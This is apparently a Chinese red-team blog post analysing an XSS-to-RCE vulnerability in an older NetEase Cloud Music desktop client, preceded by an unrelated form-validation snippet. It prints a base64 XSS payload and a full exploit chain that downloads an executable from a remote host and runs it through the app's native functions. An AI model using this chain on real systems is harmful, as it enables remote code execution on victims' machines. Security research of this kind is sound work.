	// 进行校验,返回值为true才能提交
	function sub2(){
		var uname=document.getElementById("uname");
		var val=uname.value;
		if(val.length>0){
			return true; // 提交
		}
		document.getElementById("msg").innerHTML="不能空着啊!!!";
		document.getElementById("msg").style.color="red";
		return false;  // 不提交
	}
	// onsubmit事件提交
	function onsub () {
		var uname=document.getElementById("uname");
		var val=uname.value;
		if(val.length>0){
			return true; // 提交
		}
		document.getElementById("msg").innerHTML="填写点儿东西呗!(ˉ▽ ̄~) 切~~";
		document.getElementById("msg").style.color="red";
		return false; // 不提交
	}
</script>

表单校验


Author: Wfox@360RedTeam

0x00 前言

前面章节讲解了应用程序是如何与网页进行交互的,接下来章节分析通用软件历史漏洞,通过真实漏洞案例分析去了解嵌入式浏览器安全的攻击面。本章节讲的是网易云音乐rce漏洞分析,一个经典的XSS to RCE漏洞。

往期文章回顾: 1. 《嵌入式浏览器安全之初识Cef》

0x01 Cef资源文件加载

cef浏览器中加载web网页访问通常分为两种,分别是远程资源加载、本地资源加载。

远程资源加载,通过http、https等协议加载网页,通常在软件里作为扩展功能,可延展性强,缺点是页面加载速度受网络环境影响。 本地资源加载,通过file协议实现加载web页面,也是cef桌面应用的主要实现方式。本地加载uri实现方式分为三种:

  1. 绝对文件路径加载 file:///c:/application/index.html
  2. 伪host加载 file://application/index.html
  3. 伪协议&伪host加载 custom://application/index.html

第2、3种方式是通过cef资源重定向实现的,在使用cef加载本地web资源时,html或者js文件很可能会暴露一些接口或者重要数据,为了代码保护需要把web资源进行加密,常见方式是通过zip进行密码加密。解密也比较简单,逆向主程序文件找到解压密码或者zip明文攻击就能解压加密的资源文件。

具体的实现原理这里不再复述,感兴趣的可以阅读这篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278

漏洞挖掘的第一步,先打开网易云音乐的目录,可以看到明显的Cef目录架构,比如说子目录、依赖库特征等。

在package目录中,找到了网易云音乐的资源文件包orpheus.ntpk,以zip格式解压得到网易云音乐html资源文件。

解压之后目录结构如下,包含了html、js、css文件等,正是这些构成了网易云音乐的整个前端界面。

当网易云音乐主程序打开时就会加载链接 orpheus://orpheus/pub/app.html,经过cef资源重定向处理后,加载orpheus.ntpk压缩包的/pub/app.html,也就是我们最为熟悉的主界面。

通过进程查看软件Process Hacker查看cloudmusic.exe进程,可以看到cloudmusic.exe主进程下面起了两个子进程。

这两个进程分别是render进程与GPU加速进程,GPU加速进程用于加速页面渲染,在网易云音乐的设置里可以禁用GPU加速。

// cef render进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
?
// cef gpu加速渲染进程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411

在漏洞挖掘过程中可以关注下cef进程的启动参数,指不定有些好玩的启动参数,后边章节再讲这方面。

0x02 寻找突破点

在拿到源码文件之后,能做的事情很多,感兴趣的可以自行从html、js里边发掘。这次的目的是为了给客户端弹个计算器,所以首先要达到一个目标,执行任意JavaScript,先从一个xss漏洞开始。

接下来就是常规的Web前端漏洞挖掘思路,在发掘过程中可以将html、js进行格式化,方便阅读代码。

原漏洞作者的思路是从html模板文件找到未过滤的模板变量,从而控制输出点达到xss。但在实际挖掘中,大部分html输出点都是不可控的,原作者找到的xss触发点在电台页面/pub/module/main/djradio/show/index.html的电台名称字段。

漏洞点修复前是${x.name},修复之后加上了escape进行编码过滤。

我们需要添加一个名称带有xss payload的电台,受害者通过搜索电台名称,在访问电台页时即可触发xss。

原漏洞作者提到了通过外置浏览器跳转到伪协议链接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest,从而唤起网易云音乐,但经过实际分析测试,只能唤起应用但不能跳到对应搜索页面。

那外置浏览器是如何调用网易云音乐伪协议,通过注册表可以查看windows系统中注册的所有伪协议,比如网易云音乐orpheus协议在注册表的地址为 HKEY_CLASSES_ROOT\orpheus\shell\open\command,键值为 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″,%1作为变量对应的是完整的伪协议url,最终创建进程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”

目前电台页面处无法复现漏洞,所以搬了原作者的xss效果图。

0x03 进阶攻击

小目标达到了,接下来就是如何将xss漏洞的危害扩大,这里就要用到第一节讲到的知识点,应用程序会在render进程上下文中注册许多JavaScript扩展函数,用于应用程序与网页进行交互。

举个例子,缓存歌曲、缓存突破、下载歌曲、下载歌词文件这些功能都需要涉及文件操作,但网页由于安全策略限制是无法直接保存文件的,所以需要通过JavaScript调用native function来实现文件操作。

当然应用程序注册的JavaScript扩展函数不止这些,接下来进阶攻击就是寻找脆弱的JS扩展函数进行复用,以达到窃取数据、劫持登录凭证、读取任意文件、甚至控制对方计算机权限的目的。

现在复测没有xss漏洞可以用,那我们就假装有一个xss,通过拦截网易云音乐的请求修改响应,插入我们的JavaScript代码。此时祭出大杀器BurpSuite,通过网易云音乐自带的HTTP代理功能设置成127.0.0.1:8080

代理设置成功后,BurpSuite就能抓到网易云音乐的请求。这里用漏洞版本2.1.2.180086作为演示,前面提到过网易云音乐有很多html输出点都没过滤的,但是内容是不可控的。在旧版本网易云音乐中,可以通过BurpSuite拦截修改api请求的明文响应包插入xss payload,触发XSS。(新版本中api请求响应都加密了)

比如说在搜索歌词时,响应部分的lyrics字段会作为html内容插入到页面中,可以替换这部分的响应内容插入xss内容。

添加自动替换响应包规则,省得每次都要拦截修改响应。

随便搜一个查询条数少的关键词,切到歌词的搜索结果,加载替换响应内容后成功触发XSS。

通常cef程序很少会留有可以直接系统命令的扩展函数,所以常见的rce思路是下载可执行文件+运行文件以达到rce的效果。接下来就是通读代码,寻找任意保存文件的扩展函数。

网易云音乐的主要功能逻辑在core.js文件,第一步先将混淆的JavaScript代码美化,提高代码可读性,在代码量居多的情况下可以搜索相关关键词以定位函数,如save、保存、download、下载等,通过关键词定位找到一处可疑的功能代码。

根据代码上下文逻辑,构造出文件下载保存的JavaScript代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });

JavaScript代码太长在xss里格式不好处理,所以将xss代码base64执行。

<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>

插入XSS代码触发,可以将任意远程文件保存到本地任意位置。poc触发成功后将百度logo图片保存到c:/users/public/1.png

当然在实际场景中可能会遇到长度限制,这里只是把payload写在一起作为演示,正常利用建议还是引用远程JS文件。

exe文件已经落地到文件系统中了,接下来就是如何触发下载后的exe文件。通读代码可以发现,网易云音乐基本是通过bD.cFB、bD.bX调用native函数,可以围绕着这些函数调用进行发掘,然后复用函数方法。

通过技巧找到了打开exe文件的方法,这个函数原意应该是用来打开文件夹的,文件/pub/module/main/offline/complete/index.html

根据代码上下文逻辑,构造出打开指定exe文件的JavaScript代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");

文件下载、打开exe文件都具备了,接下来构造完整漏洞利用代码。

var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);

完整利用流程:插入xss payload -> 诱导别人触发xss -> 下载保存exe文件 -> 打开执行exe文件

在网易云音乐最新版本中不仅修复了xss漏洞、增加CSP安全策略,还修复了文件下载、打开文件等涉及文件操作的许多函数,使攻击成本加大,熟悉逆向的可以分析下判断逻辑是否能够绕过。

0x04 结语

本章节涉及了cef资源加载、目录结构分析、进程启动分析、scheme协议注册、XSS漏洞挖掘、native交互漏洞挖掘等知识点,完成一个XSS to RCE漏洞的挖掘才能算是真正的入门。当Web安全人员去真正发掘这方面漏洞时,会发现嵌入式浏览器漏洞挖掘也没那么难以触及,主要是通读代码跟复现代码逻辑会比较耗时间,感兴趣的朋友可以尝试下挖掘通用点的桌面应用~

0x05 参考

漏洞原作者:evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278